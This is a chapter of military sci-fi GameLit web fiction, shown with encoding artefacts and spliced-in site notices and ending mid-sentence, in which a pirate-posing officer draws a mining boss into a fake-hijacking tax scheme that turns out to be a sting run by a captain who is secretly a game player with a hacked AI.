《Eternity Online, a military sci-fi GameLit Fiction》 Grifter Brian Stewart mulled over the plan presented to him. He was a squat man, but clearly an Earthborn. People who were born on denser mining planets had more muscles and a denser bone structure, coupled with short height. People who were taller had problems with both blood flow, and that falling down could be a fatal enterprise even from a small distance. Exoskeletons were needed to keep those people safely moving about on mining planets. Brian just lucked out in having exactly the right build to exist on a mining planet, the squat and square build of people who were born on mining planets. He pulled out a bottle of scotch that he kept locked in a drawer. He pulled out a glass for himself and poured in a two-finger shot. He knocked it back quickly and thought about the proposal. Mining planets were, as the name suggested, places where colonialists mined rare minerals. With Earth having long depleted its natural resources, it expanded outwards to try to find minerals that it needed. The lighter planets tended to be mostly gases and ice, not exactly useful. Most of the lucrative mining wasn¡¯t done on the planet, however. Most planets tended to have a lot of iron on them, which was great for building space stations and a supply of raw resources. But it was the space stations that orbited the gigantic planets that made the real killing. The gravity of the big planets would attract asteroids, and asteroids were made up of plenty of rare metals: gold, iron, nickel, platinum, tungsten, and several others. Brian ran a few of those space satellites, on planet X149. Competition was fierce to own a mining station above the planets, and the way you got that position was by promising very generous returns to the people who leased that space out, the ruling council of the planet. Brian had no problem admitting he was a greedy man. Seeing the majority of his finds getting handed over to a ruling council that did nothing to deserve them gave him an acid reflux burn every time he thought about it. Which was why there was a plan presented to him. In addition to giving a large portion of the raw material over to the ruling council, he also had to give yet another portion over back to Earth. A few wayward colonies had tried to shirk this fiscal responsibility, but when an armada showed up to collect, recompense was immediately given to Earth. He looked over to the woman who presented him the plan. She had olive complexion skin, dark black hair, brown eyes, and clearly Asian features. Her small nose and big lips tended to naturally draw the eyes to her mouth when she was speaking to someone. Her diminutive stature of 4¡¯11 amplified the fact that she also had an incredible set of tits, either C or D size in Brian¡¯s admittedly non-expert opinion. Her formal blouse and jacket were unbuttoned down just a bit too far, and whenever she went to adjust her heels, he shamelessly ogled her body. He also couldn¡¯t help notice the amount of muscle tone in her chest, he thought she must either be a swimmer or a weight lifter. He decided that he liked the idea of her being a swimmer better, as the thought of her in a bikini was more enticing than the thought of her grunting lifting heavy weights. But getting back to the plans, the setup was simple. With every ship comes rats, and space pirates inhabited some of the outer planets along trade routes. Some of the solar systems had numerous mining planets, and they pooled their resources into loose federations. They negotiated with Earth and had various formal treaties, but it was suspected that some of these federations secretly helped pirates gain access to ships that were headed towards Earth. Earth did have various way stations and patrols setup, but the entire Universe is a gigantic place. The plan was to find a few men, preferably on the seedier side of things who were looking to escape, and put them as a skeleton crew on the transport ship heading to Earth. The ship would be ¡°captured¡±, meaning the skeleton crew would fake a distress signal and hand over all their cargo to the Luciana¡¯s ¡°pirates¡±. The outbound ship log would show a full crew, and the skeleton crew that was ¡°captured¡± would be given new identities on a new mining planet and paid for their rewards. The pirates would get a thirty percent cut for essentially doing nothing, and another ten percent would go towards bribing his own local politics, but he¡¯d get to keep sixty percent of what would otherwise be a zero percent cut. The downside was he could only pull this scam off a couple of times before Earth fleets would arrive and start patrolling the area more heavily, but he could deal with that. ¡°Any questions?¡± Luciana asked him. Her voice was a bright, chirpy sound, which was at odds with her role as a pirate queen. He put that thought away. ¡°Yes,¡± he began. His voice was baritone and gruff, the voice of a man who often had to bark orders at people who didn¡¯t particularly want to carry out his orders. Miners were, generally speaking, young men who wanted to earn enough money doing a dangerous and difficult job in order to retire in their 30s. Fights and regular machismo pissing contests were the norm, so Brian often had to assert his authority, or get one of his foremen to assert it for him. ¡°Won¡¯t it look suspicious if we¡¯re the only mining company that is losing ships like this? Earth¡¯s council might be clueless about a lot of things, but they¡¯re not total idiots. If they start digging around, they¡¯ll notice that many of the people on this supposed flight manifest never existed in the first place, and they¡¯ll start asking lots of uncomfortable questions.¡±Stolen content alert: this content belongs on Royal Road. Report any occurrences. ¡°We¡¯re professionals¡±, she said with a smile. ¡°We make this same offer to numerous competitors around the region. If enough people buy on, then we begin the project. If not, we move on. As for all the fictitious people, they will have real enough paperwork and digital footprints. If the investigation gets really seriously, it won¡¯t hold up, but it will hold up to preliminary investigation. If numerous transport ships disappear, the Earth authorities will more likely think that it¡¯s a government leak than a plot by numerous companies that are all competing against each other. Of course¡±, she said sweetly, ¡°If you don¡¯t buy in and your competitors do, you¡¯ll lose out.¡± This gave Brian a moment to pause. The setup seemed too easy, surely Earth would get around to investigating this? Could it be this easy? But then, he decided, why not? Vast government bureaucracies on Earth couldn¡¯t know everything that was going on in the entire Universe, and this seemed too good an opportunity to pass. Knowing that he would have a leg up on some of his competitors after having to fight for his position made him feel good. If he didn¡¯t do this, knowing his competitors would have a major advantage of him meant his business would be ruined quickly. He could report this, but then what? The other competitors might have him killed if he ruined their good thing. More importantly, he didn¡¯t see any way to flip this to make any money, and he didn¡¯t have any real proof outside from the documents that he had in his hands, but they were circumstantial. Just trade routes for where the intercept would happen. Besides, she had already told him that people within the government were on the take, and he might be made the fall guy for this. ¡°How do I know that this worked? How are you getting the money to me?¡± he asked. ¡°Simple. You¡¯ll be given an account code. When the transfer is complete, the account code will be updated with the amount for the goods that get fenced. Even though minerals are highly fungible goods, black market fencing will mean it sales for less than the ¡®fair¡¯ market price.¡± He inwardly groaned. That meant they were going to take another chunk of his money. He wasn¡¯t in a position to make any demands, but that stung him a little inwardly. ¡°Okay, but how long until I have the money?¡± ¡°Five years or so.¡± ¡°Five years!¡± he stammered out. He couldn¡¯t believe it would take that long. ¡°Yes¡±, she replied calmly. She walked towards his desk. He could see that her legs, hidden behind a very tight skirt, were muscular as well. Maybe she was also a runner. ¡°If we gave you the money right away, then you¡¯d be tempted to spend it,¡± she said. He could smell her now that he was closer. A berry scented fragrance, not too strong, but subtly sweet. ¡°A series of big transactions by multiple people, all at the same time, would look very suspicious. The Interplanetary Investigations Office might be slow, but they aren¡¯t stupid. That would send up red flags. So each person who partakes in this scheme is given a different delivery date, a nice retirement package if you will. The IIO will look at current spendings, but probably care a lot less about retired personnel.¡± ¡°Additionally¡±, she continued, ¡°We will launder the money through various enterprises and make sure it comes out clean. It will probably be a bit more than what you expect, with a compounded interest rate of 5% on average.¡± ¡°How will the crew know where to meet you? If there¡¯s an investigation, any audio logs will be under surveillance?¡± She took out a digital transcoder and placed it on the desk. ¡°You will get a single coordinate on the day of the drop. Give it to the crew. We will send out a series of different coordinates, enough to make the crew lap around enough for us to check if they¡¯re carrying any extra ships meant for ambushing us. If you attempt that,¡± she said, her voice becoming slightly more menacing, ¡°Then you¡¯ll become a dutchman. That clear?¡± He nodded. A dutchman was a space term for shooting someone out into space and leaving their frozen body floating around. It was equivalent to cement boots in a much earlier era. ¡°And how do I know you won¡¯t screw me over? Just take the money and run?¡± ¡°Oh we could do that. But you won¡¯t have lost anything. The ship loss will be covered by insurance, and the men you send to pilot the ship will almost certainly be the ones you get the most trouble from. So, at worst, you¡¯ll have rid yourself of a few nuisances, at best, you¡¯ll have a large retirement waiting for you. So, do we have an agreement?¡± She held out her hand. He made himself another shot and took it. ¡°Screw it¡±, he thought to himself. He didn¡¯t want to be running this place for another twenty years, and even if it hurt him, the losses were nothing compared to the incredible gains he stood to make. He shook her hand, and her grip was firm. He realized his palm was a bit sweaty, but hoped she wouldn¡¯t notice. She picked up the schematics and started walking out of his office. ¡°Then we have a deal,¡± and she walked out of his office. He¡¯d either made a huge payout or a huge mistake. Commanders Log Luciana walked to the space craft The Calrusian. The ship was a mid-sized fleet craft, most notable for its incredible size. She had taken a long, windy path to the shuttle to make sure she hadn¡¯t been followed, occasionally ducking into places to see who passed by. Satisfied no one had followed her, she presented herself to the ship deck, which opened up to let her in. Two men stood in at the opening deck, wearing standard light space armor. She inspected the armor. A holographic prompt appeared over the armor, and if she focused on it, it would come into view.
Standard Light Armor
This armor is designed for flexibility and adaptability. It can stop small arms fire from either lasers or traditional projectile guns, but can¡¯t stop direct thrusting attacks, repeated blasts, or repeated shots. The outermost layer is designed to deflect any small arms laser blasts, while the padding beneath it acted to cushion and expand the impact of any bullets fired at it. No bonuses to dexterity or agility while wearing this armor. +20 vs. Lasers. +20 vs. Ranged projectiles. +1 vs. Bladed weapons. 0 defense against laser melee weapons.
When the door closed, the two men saluted her. She saluted them back briskly and continued walking into a splitting corridor. The path on the left lead to the ships helm. Normally that¡¯s where she¡¯d go, but the captain probably wouldn¡¯t be just sitting at the helm doing nothing. The path on the right lead to the kitchen, which was where she went. Although you could cook real food on a ship, the amount of additional cargo ended up being a headache, so most meals were simply pre-calculated rations. The stuff didn¡¯t taste bad, and it came in multiple flavors, but it never felt the same as eating a real meal. After exiting the kitchen, she came into the lounge area. The lounge area was gigantic and composed the bulk of the lower deck. It was about a football field¡¯s length and featured three distinct area. The first area, the gaming area, featured ten men and four females were playing VR space volleyball. Space volleyball included rules that allowed fluctuating gravity during gameplay, so the ball could move at unexpected angles and players would have to recalibrate their movements during the match. A projected image of what they were seeing was overlain on top of the players, showing a beach match and the players wearing swimming shorts and bikinis. One male player had a hammerhead shark growing out of where his groin area was. Such displays would probably be banned on a more locked-down ship, but the captain allowed such things as long as people didn¡¯t take offense to it. The next area was the movie area, but it consisted of helmets that people could put on and immerse themselves in a movie. The technology made you seem as if you were experiencing the movie rather than watching a screen with other people on it, so horror films could literally scare people to death. The warning label on some of the ones that had killed people were a point of pride for some film companies. The final area was the literature area, where you could read any book or have it read to you by any voice actor that you picked. Some of the fancier novels also had an interactive portion with it, so you could visualize the World and events. Only the bestsellers went this far up though, as the time and effort to create a movie from a book required ten times the production length of a regular movie, and fans would sometimes complain that what they thought the book looked like and the sim book adaptation weren¡¯t the same. The next area she walked into was the training area. This had a quadripartite division of functionality. The first section was the weight lifting area, filled with rows of dumbbells and barbells. Since modern fleets generated their own gravity, lifting weights was no longer mandatory, but highly encouraged amongst fleet members. Still, human nature being inclined towards the path of least resistance, their use by most members had fallen off since the ordinance had been lifted. The second section was the cardio area, along with areas to stretch and cool down. The third area was the melee combat area, with two combat service droids standing ready to engage in whatever pugilistic activities the crew wanted. Finally, the back of the room was the simulated firing area. She spotted the captain in the firing area at the back whenever she walked in. A disembodied female voice called out, ¡°Female on Deck!¡± as she crossed the threshold. The Captain held a simulated laser rifle in his hand. He didn¡¯t turn around to acknowledge her. Instead, he aimed his laser rifle, fired off a few shots in rapid succession, reloaded, and then resumed back to pause. She turned to the right towards the smart locker that each gym came equipped with. She put her palm print on one of the lockers and opened up the layout menu.
Locker Gear
Greetings Lt. Luciana! Your standard gear has already been selected, but you may modify it. Select from the following list: Towels [x]. A single hand towel and larger rag to wipe away sweat. Hand chalk [x]. Useful for barbell and dumbbell exercises requiring a strong grip. Hand Wraps [x]. Useful for lower back exercises that may be dangerous if grip fails. Female workout gear: - Athletic / long. [ ] Mobile and functional athletic gear consisting of running shorts, joggers, sports bar, and sports top. - Athletic / short. [ ] Mobile and functional athletic gear consisting of running shorts, sports bra, and sports top. - Athletic / seductive long. [ ] Mobile, functional, and damn good looking, consists of a pair of see-through leggings, sports bra, and cropped top. - Athletic / seductive short. [x] Mobile, functional, and a guaranteed head turner. Consists of completely form-fitting black shorts and pink sports bra. Warning: May be considered a violation of E/O policies regarding proper outfitting aboard a military vehicle. Consult the E/O policy of the vessel to ensure compliance. Accept load out? Yes / no.
That last part always made her smirk. Aboard a traditional military vehicle, wearing clothing that could be considered fraternizing would be a military violation, but she knew the captain didn¡¯t mind much. She hit the ¡°yes¡± button and the locker opened up with the gear inside. She began to undress and put on her gear. There were dressing areas for male and female personnel, but everyone knew what everyone else was packing aboard the ship, and she didn¡¯t feel like wasting the time with false modesty. She moved with military precision to undress and dress back up, putting her clothes in the smart locker. When she was finished, she walked to the back of the gym towards where the Captain was practicing firing drills. ¡°Practicing hard Captain Thomas?¡± She asked. He kept his virtual visors on. There was an option to project the display onto the wall, but the Captain didn¡¯t have this turned on, so he was pointing his rifle repeatedly at a blank wall and squeezing the trigger. ¡°Yes Lieutenant. Firearms are a perishable skill.¡± His voice was light and melodic. Captain Mark Thomas was tall and slender, a little over a foot taller than her, possessing what the anthropologists called a ¡°gracialized¡± build. It was a build typical of people who were born and raised on space stations, which typically had lower gravity levels. She knew that he was actually born on Earth, but he didn¡¯t go out of his way to correct people if they assumed he was space-born. His skin was a very light brown color, his eyes blue, and his natural hair color was black, but he liked to dye it blond in order to make himself look more exotic. She went to the wall and turned on the projection display. A laughing dog was in the foreground, and a group of ducks flew up in a very old style of animation that had long since been surpassed technologically. ¡°You¡¯re protecting the fleet against an invasion of ducks?¡± She pondered. ¡°You never know Lieutenant. There could be a planet ruled by hordes of angry ducks, and then you¡¯d feel real silly.¡± ¡°Yes Captain¡±, she replied dryly, ¡°On that day, I¡¯ll file a ¡®He told me so¡¯ report to go along with the After Action Report.¡± She walked back to the weights area and loaded up on the Olympic lift platform. She put two sets of 45 pounds on each side of the bar, for her warmup of 225 lbs. She did twenty snatches to warm up. Then she added another set of 45 pound plates on each side. She did three sets of descending lifts, 12, 10, and finishing with 8, taking a one minute break between each. She had a nice glisten on her body. She started moving to clean and jerks when the Captain walked up to her. ¡°How¡¯d the meet go?¡± he asked. ¡°Same as the others. A few questions and hesitations, but a nice smile and a careful exposure of some flesh so he could ogle when he thought I wasn¡¯t looking, and he became putty. The idea that he could have a woman like me with some extra credits floating around in his account put him in the mood to sign up.¡± She grunted as she got near the end of her set. ¡°Cheap bastard didn¡¯t even offer me a shot of scotch, when he had one for himself.¡± ¡°Expected¡±, Captain Thomas said, ¡°EVE identified spendthrift as a common trait for people looking to evade taxes.¡± Eve was the central AI that ran aboard the ship, and gave feedback to Captain Thomas personally. The latter fact was unknown to everyone except Captain Thomas. A quest dialogue box popped up in Captain Thomas¡¯s field of vision. He focused on it and brought it to the forefront.
Quest update: Entrap Mine Excavators on Planet X149
Using illegal means, you have entrapped six major excavation crews into a tax evasion scheme. File a report? Each successful conviction will net you 250 experience, as well as positive reputation with the Interplanetary Investigations Office. Warning. Since you used illegal means to obtain these convictions, they will not hold up in court. Negative reputation with the Interplanetary Investigations Office for each failed conviction, potentially leading to a negative writeup that will delay your stellar rise up the ranks. File report? Yes / No
He clicked no and swiped away the notification. Tax evasion was too easy a target if he wanted to keep moving up the ranks, and he knew that the people he was going after had enough money to hire lawyers that could easily get it thrown out of court. While he had been reading the quest update, Luciana had moved onto deadlifts. As she bent over to pull the weight off the ground, her breasts pushed together. Captain Thomas didn¡¯t bother to hide his gaze from her body when she did that. Of course, the perceptive Lieutenant saw him doing that. ¡°Sir, as according to regulation 167.0.8 of the IIO Code of Justice, prolonged staring at a member of the opposite sexes anatomy can be considered an E/O violation.¡± ¡°Well Lieutenant,¡± he said solemnly, ¡°I guess you¡¯ll have to file a complaint with the E/O Officer.¡± She grunted on her last rep and dropped the weights to the floor, where the padding muffled the noise. ¡°She feels that your conduct is unbecoming of an officer, but will let you off with a warning.¡± She said with a wink. Then she went to the squat rack and began doing squats. With the skin-tight booty shorts that she had on, her cheeks would start to come out at the bottom of each rep. ¡°Well, as the Captain of this ship, I have to remind you that according to section 215.0.1 forbids sexualized workout attire in the company of mixed-sex crews.¡± ¡°You going to write up a complaint?¡± She asked, holding the down position of the squat. He thought she¡¯d probably start wiggling if she wasn¡¯t such a stickler for perfect form during all repetitions. ¡°I think a warning will suffice.¡± ¡°Duly noted Captain.¡± She said, as she stepped forward and racked the weight. She turned around and pulled his head in close for a hard kiss. When they pulled apart, Thomas said, ¡°And fraternization! What sort of slop ship does the Captain of this vessel run?¡± ¡°The kind sir,¡± she replied, ¡°That values the ability to get shit done over following bureaucratic rules.¡± He pulled her in for another kiss, but she pushed back on his chest. It mildly bothered him that her push showed a restrained power that suggested she could easily outmuscle him. His wounded ego piqued up for a minute, but he reminded himself that the build he had chosen for himself was to schmooze and scheme, not to get embroiled in fisticuffs. ¡°I¡¯m concerned though. You put on a big show of training all the time, but I never actually see you ¡®train¡¯. You¡¯re always goofing off.¡± He sighed. ¡°And that¡¯s because, as I always tell you, I didn¡¯t get to where I am via pugilism. I got where I am via intelligence.¡± He tapped his skull to emphasize the point. ¡°I¡¯ve known a lot of intelligent men.¡± She responded cooly. ¡°But none of them reached the station you¡¯re at in such a short time. Are there other factors you¡¯re not telling me about?¡± He paused, but only briefly. ¡°Yes, like the plan we¡¯re doing right now. It¡¯s how one gets put on the fast track.¡± ¡°The plan to entrap remote planet miners? That case will get thrown out if any lawyer gets near it.¡± Thomas walked over to the combat robot in the melee portion of the room and tapped it. The melee droid was recomposable, meaning it could shift out body parts into new configurations. The idea being that if any alien lifeforms were found, combat droids could change their anatomical configuration to match the new species. The default was a simple humanoid body type. The droid was sleek black metal and stood 5¡¯8, but it could go up to seven feet tall, up to twelve if both droids were reassembled into one. That configuration wasn¡¯t used unless combat droids were being deployed as shock troops. A screen popped up in his vision as he pressed on the combat droid.
Combat Robot Initialized
Greetings Captain Thomas! Select the combat level you wish to fight this droid at. Your usual has been preselected. Warning: This droid has been programmed to not use lethal violence. It will defend a ship in case of attack, but cannot be used to commit lethal violence, in accordance with Intergovernmental Regulations 107.41. Combat Levels: - [X] Water Squirter. Simulates a terrified civilian with no military experience. - [] Average Joe. Simulates a regular civilian with no military experience. - [] Brawler. Simulates a civilian who favors strong attacks with little defense. - [] Trained fighter. Simulates a civilian who has good training with combat. - [] Military-grade fighter. Simulates military personnel who has trained extensively in combat. - [] Elite military-grade fighter. Simulates military personnel with exceptional combat skills and capabilities. - [] Transhuman grade fighter. Simulates a person whose capabilities exceed normal human limits, only achievable through implants or exoskeletons. - [] Combat Droid. Simulates a combat droid well beyond any human limits. The goal isn¡¯t to win, but see how long you can survive. Confirm selection? Yes / no.Unauthorized tale usage: if you spot this story on Amazon, report the violation.
Thomas picked up a simulator striking sword from the wall. The combat robot did the same as well. Both went into a combat stance. The simulator sticks emitted a low-frequency electrical impulse on contact, enough to notice but not enough to really hurt. Luciana eyed their stances. The combat robot was standing in an awkward position, the way an untrained person would stand if you handed them a sword and they imitated a fighting pose they saw in a movie. Too much weight on the back foot, which would make it hard for them to shift positions quickly. Thomas¡¯s stance was a more classic rapier stance, weight balanced on both feet. The droid moved with a clumsy attack, which Thomas easily parried. He thrust into the underside of the droid¡¯s hand. ¡°See?¡± Thomas said, parrying another attack and hitting the arm of the droid on the riposte. The droid dropped its arm down and switched the sword to its offhand. ¡°This is called ¡®defanging the snake.¡¯ I don¡¯t need to fight hard, just inflict small damage to the opponent in the attacking limbs. When it¡¯s unable to fight¡±, he sidestepped a lunging attack, ¡°I can finish the fight.¡± He stabbed his sword into where the robots heart would be. The robot stopped. ¡°Winning a battle or a fight isn¡¯t about overpowering your opponent. It¡¯s about outthinking your opponent.¡± His combat time was forty seconds for the display. ¡°Return to position¡±, Thomas commanded. The robot trod back to where it was initially. Thomas¡¯s combat prowess was one of the many things that irked her about the Captain. Though she admittedly found him attractive and charming, there were numerous things that just didn¡¯t add up to her. According to his records from the elite West Point Interplanetary Academy, he was a 1%¡¯er. The elite of the elite. By his record, he was captain of the boxing and fencing team, winner against national and international opponents, including off-Worlders, expert level marksman, top field commander, Valedictorian in space engineering. His record on Earth had been no less impressive, cracking major drug cartels, stopping cybercriminals who wanted to profit off starting wars with off-World colonies, and a string of citations for heroism in the line of duty. Yet, while she didn¡¯t know what level he had set the droid at, it clearly wasn¡¯t even at military level. His movements, while correct, were not skilled. Too many wasted motions, imprecise balance while shifting his weight, and while he had natural grace, he didn¡¯t posses the explosive grace of elite fencers or boxers. He seemed to coast on natural skill rather than refined talent. Her background was also decorated. She went to Virginia Interplanetary Military Institute, graduated in the top five percent of her class, lead the LaCrosse team, won the Sandhurst Competition, and was a top team leader. She was 37 years old, he was 29. He rose to the rank of Captain of a military vessel, while most people in his position were at least in their forties. Field promotions for exceptional candidates occurred during wartime, but there was no ongoing war. As a 37 year old Lieutenant, she was considered a fast tracker. But his level was completely unheard of, no one had risen as fast as he had. The dissonance between the record of a no nonsense badass compared to the devil may care Captain she knew was extreme. Additionally, his skills as a team leader were questionable. They had done nothing remarkable while she was part of his team, and an illegal entrapment scheme hardly fell under the auspices of extraordinary work. She usually ran the team training, and there was a slip in quality from the personnel on board the ship. She reigned in her mental frustration and grabbed a simulation stick. ¡°Drone A, arm at elite military level.¡± The drone snapped to attention. She immediately began the attack, which the drone parried. It circled her and made several quick, sharp thrusts at her hand, neck, and body, attempting to get her to overextend on a parry. It continued the assault by using broken rhythm, alternating fast strikes with slower strikes and feints to keep her off-balance. The two of them continued this furious combination of attacks, parries, feints, blocks, and ripostes. She could feel the occasional tingle of electricity sparking her as the droid did glancing damage on her, and she likewise flicked the droid with the tip of the simulated sword, but nothing that would be fatal or even grievous damage occurred between either combatant. Despite her relentless attacks, the droid kept circling around, never letting her get a decisive positional advantage. It also used its longer height and reach to prevent her from being able to win off of a purely offensive strategy, and it never opened itself up whenever she made feints or attempted to make it overextend to defend itself. She squared up her body, leaving an opening for the combat droid. It immediately pounced at her and attempted a lunging attack straight at her heart, but she expected it. She stepped out of the way while pushing the blade aside, narrowly missing her. She immediately counterattacked by pushing her sword into the robot¡¯s throat, and the droid slumped. Victory. Combat time, three minutes, 21 seconds. She panted heavily and returned the sword to the rack. ¡°Intellect doesn¡¯t mean anything when you don¡¯t have the physical resources to use it. That¡±, she said, putting emphasis on the word, ¡°is real combat tactics. Leaving an opening intentionally to make the opponent expose themselves. It requires skill and precision to execute, being a fraction too early or too late means you lose everything. Now, what¡¯s your real plan?¡± Thomas bowed his head in acknowledgement of her ferocity in combat. ¡°Here¡¯s the plan. We¡¯re going to go through with the transfers. When we get the ships and minerals, we¡¯re going to sell them for a nice profit and use the proceeds to get a real fighter class ship. We¡¯re going to transfer over all the best equipment on this ship onto our new ship, and we¡¯re going to recruit a full man force to take on any pirate ships we can. I believe, with strong evidence, that several out-World planets are aiding and abetting pirates. We¡¯re going to infiltrate them. The ships and minerals will be reported as stolen, so our cover as rogue privateers will be solid if anyone checks. I initiated contacts with people to give us new identities, as well as setup any additional ones we¡¯ll need. I¡¯ve also observed the behavior of the crew over the past six months, noting which ones showed up for training, which ones carried out intellectual pursuits, and which ones just screwed off with no one cracking the whip at them. The squad we need will be one that can function effectively without a regular military structure dangling over their head. I¡¯ve gathered dossiers on ex-military personnel that will also fit our structure, though I can¡¯t vet them as thoroughly as the crews we served with. Once we find out which governments are protecting the pirates, we arrest them. And that, Lieutenant,¡± he said with a wink, ¡°is how you get your double bars and your own ship.¡± She took a second to process what he said. The misgivings she had with him in the past had suddenly vanished, even if the nagging doubts about his combat prowess still tickled the back of her mind. ¡°And, I presume¡±, she said, ¡°That this black ops mission is fully sanctioned by the IIO?¡± He shook his head. ¡°From my research, there¡¯s simply no way this could operate at the scale that it is without someone in the IIO being involved. As far as anyone who joins us knows, this is a fully sanctioned operation. But we both know that it isn¡¯t.¡± As she started to object, he raised up a hand. ¡°In the event that this blows up, I will take full responsibility and swear that you and the crew had no idea. You can back out of this, but seeing as how hard you¡¯ve been gunning for my job, I think this mission will show if you have what it takes to a real Captain.¡± While she pondered his proposal, he saw a new dialogue box open up. He focused on it.
New Class Gained: Privateer
A privateer is someone who captures ships on behalf of a government force. While it¡¯s a thin line between a privateer and a pirate, you do currently have government backing, even if they don¡¯t know it. Skills gained: - Social Chameleon. You know how to blend into various backgrounds, including the less savory. +5 to any interaction with someone from an unsavory background. - Legal Enforcement Powers. Gains the ability to call in the law to settle a seizure. This power is separate from Legal Enforcement Powers granted as an investigator. Warning: Since you are technically operating outside the boundaries of the law, using this power can have severe repercussions. Disadvantages gained: - Social Stigma. Privateers operate in grey areas. For people with a moralistic worldview, this causes them to look down on privateers. -5 to any interaction involving people with strong moralistic viewpoints. - Dirty rat. For anyone who has had their goods stolen by privateers, or who doesn¡¯t hold a distinction between a pirate and a privateer, you¡¯re a dirty rat. - 15 to any interaction with people who have been wronged by a privateer, justly or unjustly. Secondary Skills gained: - Appraiser (P+I). Level 1. +2 on appraising item¡¯s worth. You can roughly judge the value of crafts and minerals that you seize. - Scrounging (D+P). Level 1. +2 on scrounging materials. You can disassemble simple machines into their base components. Warning, attempting to disassemble more complex machines can lead to destruction or explosion of their parts. Congratulations! You have 40 character points to distribute by gaining this new class!
He inwardly winced at the social stigma disadvantage. While not as huge as the dirty rat disadvantage, Luciana had a moralistic worldview. He leaned heavily on her and knew that his chances of success diminished greatly if she rejected the job. But he also knew that her goal in life was to become the youngest female captain, a distinction she had less than three years to get. Despite her amazing genetics, strict diet and workout routine, and some subtle facial modifications, she was getting older and starting to feel the pressure of the boiling pot. He also knew that she had some level of resentment towards his early ascension, and also knew that she could tell something wasn¡¯t quite right with his meteoric rise. He opened up his character panel and set it to the detailed view to see exactly what his stats looked like.
Mark Thomas, Captain
Character Overview, detailed. Descriptions. The primary class is the main class of a player, chosen at character creation. Secondary classes are the result of gameplay decisions that grant the player new quests and plot lines. Attributes are used as modifiers against primary and secondary skills. Primary skills are unique to a class, and cannot be learned without special plot lines and quests being resolved. Secondary skills are available for anyone to learn. Each skill has a base attribute That it corresponds to, which can enhance the skill beyond its level. Your mutant hack (EVE) grants you abilities that other NPCs (non-player characters) and regular players do not have. Race: Human Primary Class: Investigator. Rank, Captain. Secondary Class: Privateer, FNG, Ficking New Guy. Attributes: Strength 9, Dexterity 12, IQ 12, Health 10, Willpower 12, Perception 13, Charisma 13. Advantages: - Legal Enforcement Powers. As an investigator, can subpoena witnesses, make arrests, subpoena evidence, and interrogate suspects. As a privateer, can commandeer vehicles and minerals. - Police Rank 5. Can call in favors from members of law enforcement, judges, governments, and prosecutorial staff. - Photographic Memory. Through your connection with the AI EVE, can recall minute details that would otherwise elude memory. Can replay key evidence in your mind exactly as it occurred. - Intuition. Your years of investigative work give you a good feel for when people or events don¡¯t add up. - Dubious morality. You possess the ability to justify morally questionable actions to yourself and to others. In government work, this is a clear advantage. Disadvantages: - Bully. You¡¯re an ass. -5 to interactions with others. - Lazy. You use your gifts of charm and intelligence to avoid hard work. If you weren¡¯t the Law, you¡¯d be called a grifter. -5 reputation with industrious people. - Cheater. While others worked hard, you hacked the system to get where you are. -10 reputation with industrious people. - Jealousy. Because you¡¯re a lazy cheat, you are jealous of people who have worked hard to achieve their success. -10 reputation with successful, hard-working people. - Paranoia. Your cheating ways have made you paranoid that you¡¯ll be discovered for the hack fraud that you are. Unable to achieve ¡°Well Rested¡± bonus. - Social Stigma. Privateers operate in grey areas. For people with a moralistic worldview, this causes them to look down on privateers. -5 to any interaction involving people with strong moralistic viewpoints. - Government suit. You are an agent of the law, and for people who resent the law, finding out about your occupation will lead to hostility. -10 to people who are anti-government. - Dirty rat. For anyone who has had their goods stolen by privateers, or who doesn¡¯t hold a distinction between a pirate and a privateer, you¡¯re a dirty rat. -15 to any interaction with people who have been wronged by a privateer, justly or unjustly. Primary Skills: - Criminology, (IQ) level 6. You have studied crimes and criminals for a long time. +12 on any case that requires understanding the criminal mind. - Forensics (IQ), level 4. Your years of training coupled with your connection to EVE helps you analyze a crime scene with precision. +8 on seeing any clues at a crime scene. - Interrogation (IQ), level 4. Your years of training, combined with being an immoral jackass, help you to coerce the truth from people. However, your scrawny build and lack of physical strength hinder you from being effective at it. +4 to interrogation. - Law knowledge (IQ), level 6. You possess encyclopedic knowledge from EVE about what laws are being broken. Can be used to enhance interrogation. +12 to any situation that requires knowing the law, including all the laws you are currently breaking. - Observation (P), level 1. You can observe people and situations with a trained eye and eidetic memory +5 on any situation that requires a keen eye. - Research (IQ), level 1. You can quickly look up volumes of information and absorb it quickly. +6 to finding out information rapidly, enhanced by EVE. Secondary Skills: - Driving, (D) level 3. You are competent enough to drive an aircraft, hovercraft, or regular automobile. - Electronics operation (D+I), security and surveillance, level 2. You can setup basic sting operations with electronic equipment. - Forced Entry (D+I), level 4 on regular locks, level 2 on electronic locks. Your dexterous nature makes it easy for you to pick mechanical locks, but you lack the Electronic knowledge to pick more advanced locks. - Search (P), level 4. You know the hiding spots of criminals and can find their caches. - Small Arms (D), level 2. You know the basics of firearms and combat, but are not the expert you pretend to be. - Melee (D+S), level 2. You can handle basic weapons without stabbing yourself. - Appraiser (P+I). Level 1. +2 on appraising item¡¯s worth. You can roughly judge the value of crafts and minerals that you seize. - Scrounging (D+P). Level 1. +2 on scrounging materials. You can disassemble simple machines into their base components. Warning, attempting to disassemble more complex machines can lead to destruction or explosion. Modified by your skill in electronics operation if the device is a surveillance or electronic lock device. You currently have 40 points to spend on attributes or skills.
Because he was using a mutant hack, and the NVA seed couldn¡¯t really protest it, the game let him know in not very subtle ways that it didn¡¯t appreciate him tinkering with it. He had two sets of contradictory faction bonuses, depending on which one someone thought he was. His most powerful class advantages couldn¡¯t be used while he was playing a privateer though, but that couldn¡¯t be helped. He was also grateful for one little fact. NPCs couldn¡¯t see stats the way that Player Characters could. ¡°Alright¡±, Luciana said, ¡°I¡¯m in.¡± He breathed a sigh of relief. At least he had a shot of making his plan work. ¡°Should we go celebrate?¡± she asked seductively. He normally would have said, ¡°Yes¡±, but unfortunately, he had a real-World job to go back and do. Sex inside of a Proxima World was a little bit like the joke, ¡°Sex is like pizza. When it¡¯s good, it¡¯s really good. And when it¡¯s bad, it¡¯s still pretty good.¡± But it wasn¡¯t quite the same as in the real World, so he didn¡¯t think it over too hard when he could use real World money to get laid. ¡°No¡±, he said, with a sigh that showed he had real regret in his words. ¡°I need to finalize plans in my office and get everything underway. You can come visit me later though, if you wish.¡± ¡°Maybe I will. Maybe I won¡¯t. There¡¯s a lot of meat on this ship, and I might have to say goodbye to some of the ones that I know won¡¯t make the cut.¡± She winked at him seductively. ¡°It¡¯s not fraternization if they¡¯re not under my command.¡± ¡°Barracks lawyering? Lieutenant, have you no shame?¡± She laughed and went to the smart locker, grabbing a bath towel and her clothes before heading into the women¡¯s shower. He went to the elevator pod and up to the next deck, which was quarters. He walked through the hallways until he reached the captain¡¯s quarters. His digs were impressive, but he barely noticed it as he 